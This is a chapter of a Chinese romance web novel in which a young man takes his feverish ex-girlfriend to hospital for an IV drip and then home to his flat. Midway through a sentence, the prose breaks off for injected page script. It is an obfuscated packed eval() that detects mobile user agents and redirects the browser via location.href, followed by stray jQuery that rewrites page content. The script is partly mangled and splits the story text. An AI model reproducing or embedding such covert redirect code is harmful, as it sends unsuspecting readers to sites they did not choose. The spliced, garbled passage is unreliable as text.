雪夜飞莺Placebos

43.第 43 章

    这话一出,所有人沉默了。


    明眼人都看出这是小情侣之间的情趣,路延希哪像个司机啊。


    他们也就心知肚明地笑笑,打趣几句,让司机好好把向菀送回家。


    向菀告辞同事们,坐上路延希的车。


    她说:“我要回宿舍。谢谢。”


    扣上安全带,车平稳地往前行驶。


    “这么晚了,去我家。”


    路延希目视前方,偶尔看一眼向菀。


    “你不是司机吗,怎么不听乘客的话。”


    路延希失笑,还真拿他当司机。但他也愿意陪她玩。


    “可以去投诉我。”


    向菀抿抿嘴角。有点困,也就不继续拌嘴。


    在几个路口前,路延希犹豫着,怎么说服向菀回家。


    遇到红绿灯时,他侧头一看,向菀已经睡了。脑袋微微歪着,毫无防备的样子。


    路延希从小到大没有追过女孩子,向来都是女生围着他转,对于如何让心仪的女生喜欢自己,他没有一点经验和心得。


    面对向菀,也是头一次对自己没信心。这女孩似乎对谁都一样,但对他好像又不一样。


    说实话,他很讨厌情绪被人操控,但也忍不住想要靠近她。


    路延希把车停在路边,向菀还没醒,他什么都没做,只是看了女孩子一会儿,确实很漂亮又灵动的一张脸。


    过了会儿,路延希看她脸色有点不对劲,嘴唇有点轻微发抖,连忙伸手覆在她的额头,就连很少生病的路延希都能察觉,绝对是发烧了。


    生怕她晕倒,他急忙把向菀摇醒。


    好在她真的只是睡着。被摇晃两下就睁开疲劳的眼睛。


    因为刚醒,且熬了几个夜,眼下泛青,原本好看的双眼皮也折叠成了三层。


    “到哪了?”


    向菀往车窗外茫然地看,是一片陌生的街道。唯一熟悉的只有眼前这个很想逃离他的男生。


    路延希断然踩下油门:“你发烧了,我得送你去医院。”


    向菀也觉得嘴里像是流淌火山岩浆,特别烫,但她坚持说:“不要去医院,我回去吃退烧药就好。”


    以前发烧,都是这样度过的。舅妈让她待在自己的房间,别传染给表妹,班主任老师会给她一包感冒冲剂,嘱咐她多喝热水。连打吊瓶都觉得大材小用。


    身边没人过度关注她,过几天,病就神奇地自己就好了。


    路延希在手机上查询医院地址,根本不听她的,直接把她带到三甲医院急诊。


    最近流感盛行,乘地铁时有很大的感染风险。


    向菀被拽到医院,即使全程不是她来挂号,也晕得不行。


    路延希根本不是个会照顾人的。


    找错抽血室位置后,又排错队伍,问了几个工作人员,终于在差点过号前复诊。


    向菀跟着他,折腾了一身汗,误打误撞反而把烧退了一点。


    水银体温计拿出来,上面显示的是38.7度。属于中度发烧的范围。


    在医生的建议下,向菀被要求输液,见效快。


    一片兵荒马乱之后,他们来到输液室。


    路延希给她买了一瓶热牛奶,让她先解渴,暖暖身体。


    向菀有点渴了,也就等着他。


    路延希的洁癖症状稍微有些严重。来到医院这种地方,特意给向菀和自己买了一次性口罩。再在旁边药店买了酒精棉,但面积太小,也就大拇指指腹那么大,最多只能用来擦手机。


    用这个东西来擦椅子,还要把椅背也擦干净,这工程量不可谓不大。


    但路延希坚持不让向菀坐脏椅子。


    旁边坐满了同样是来输液的病人,看这男生烦躁到极点又不得不做事的样子,都觉得有点好笑。


    向菀脸有点热,但又想看他能做到什么地步,也就在旁边呆呆地看着。


    心里想到上一次来医院,也是路延希带她来的。这个人,总是在关键时刻出现。所以,喜欢上他也不是什么稀奇的事。不用怪自己。


    直到护士来打针,呵斥家属让患者赶紧坐下。


    路延希说:“谁知道这上面有没有病毒。”


    大医院的护士都风风火火的,天王老子来了也不惯着:“回去自己把衣服裤子消毒!”


    路延希皱眉,“那这裤子不能要了。”


    护士懒得理他,把向菀按在椅子上,让她伸出手。


    很快,向菀扎着针的手搭在椅子扶手上,盯着匀速落下的点滴。


    这东西得滴多少分钟啊。


    路延希想去洗手间洗个手,但又担心洗手间更脏,又去药店买了一整瓶酒精和纱布。继续他的消毒大业。


    尽管在视频和图片上看过吊瓶这种东西,路延希还是第一次见到实物,颇为仔细地研究了一番。


    他给家庭医生发了消息,对方回了一串输液需要注意的事,再抬头,向菀歪在椅子上又睡着了。


    路延希把外套往她身上拽了拽,向菀刚刚身体发汗,刘海有点被汗湿,他把粘在额前的发丝拨了拨。再拿出纸巾,想要给她擦一下,又担心把她吵醒。


    最后也只不过是站在她旁边,盯着吊瓶,直到液体顺着透明软管低落,流进她的血液里。


    中途,向菀又醒来,路延希怕她乱动,一直按着她的手。


    输液瓶里还有一小半,大概还有二十分钟才能结束。


    “还能再睡会儿。”路延希看了眼腕表。


    向菀沉默着摇摇头,想要站起身。


    “要做什么,我帮你。”


    “上厕所。”


    路延希也沉默了。随后,他握住输液架,脸色看上去倒是十分镇定,像是饭后遛弯,“走吧。”


    这次换向菀犹豫地看着他。“我要去的是女厕所。”


    路延希垂眼看她,“不然呢?”


    “你不能进去。”


    “我先跟你把输液架搬到卫生间门口。”


    向菀只能跟着他一起挪到卫生间。路延希也就在门前停下。


    他打量她一眼,“一只手能脱裤子吗?”


    “……可以。”


    “有事叫我,我就在门外。”


    向菀另一只手握紧输液架,刚想埋头进入厕所,想起什么,再说:“你离远点。”


    路延希扬眉,“怎么了?”


    向菀可不想他听见某种可疑的声音。


    她拼命掩饰窘迫,“你离卫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200099|158089||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生间远点。站在门口像个变态。”


    路延希瞪大眼睛,比了比自己的鼻子,不敢置信。也是这个时候,有路人回头,很怀疑地看了他一眼。


    路延希也觉得她说的对。啧一声,稍微往远站了站。


    向菀松口气,小心地解决生理问题,洗过手,再慢腾腾地挪出洗手间。


    路延希看她手上还有水,抽出一张纸巾擦干,医院水龙头里的水太凉,他擦干之后,直接握住。


    向菀嘴唇动了动,没有精力和他抗衡。


    这么一闹,反而没了困意,在手机上刷了会儿热搜打发时间。


    结束输液后,已经是深夜,急诊的人少了一大半。


    向菀的烧已经退到37.7,很难说是药效起了作用,还是被路延希折腾的。


    他看了眼体温计,还是眉头紧锁。


    “这什么破药,不管用啊。”


    路延希想再去找医生,被向菀连忙拉着胳膊走了。


    她实在不想在医院出名。


    走到外面,路延希再问了家庭医生,总算接受不是所有发烧都能在打一针之后消退的理论。


    离开室内混着消毒水味儿的浑浊,短暂的秋天带来微凉的冷空气,像薄荷一样醒脑。


    路延希理所当然地想把她带回公寓。向菀说:“我去住旅店就好。”


    “去我家能省不少钱,外面住一晚,至少一百。你一天的工作白干了。”


    向菀觉得路延希真的比任何人都了解她,此话正中痛点。但她还是坚持。


    “我陪你去。”


    路延希也就根据她的计划做出改变,总之今晚必须待在一起。


    他发现了,只要视线离开向菀,这女孩一定又做出不爱惜自己身体的事。明明身体算瘦的,她总觉得自己很能抗。


    “你就不怕被我传染流感吗?”


    “你在关心我么。”


    向菀闭上嘴巴,不想理他。


    路延希笑笑,在室外,他把口罩摘了,“放心吧,但即使在家里,我今晚也不会上你的床。”


    ***


    最终,路延希还是把向菀带回自己的公寓。


    向菀在这套公寓里住的时间不长,但今天回来,竟有点久违的归属感。


    想到这里,她立刻皱眉。


    生病真是轻易令人感到心里脆弱。她告诫自己,不能贪图安逸。这个世界上除了自己,其他人是靠不住的。


    现在头还有点疼,但还在可以忍受的范围内。


    向菀简单洗过澡,用的仍然是路延希的衣裤和洗漱用品。她后知后觉地反应过来,和分手的前男友共处一室,即便什么都没做,仍然令人浮想联翩。


    她一定是烧糊涂了。


    走出主卧,她看见路延希正坐在客厅的地板上,已经换了一套宽松柔软的居家服。


    “不睡吗?”他把视线从电脑上移开。


    向菀提起自己的电脑包,也要做一下今天的收尾工作。


    路延希命令的口吻说:“去睡觉。”


    她敷衍地应付:“马上睡。”


    路延希慢悠悠地说:“也行,你就工作一整晚吧,如果你继续发烧,我就有理由继续把你关在家。”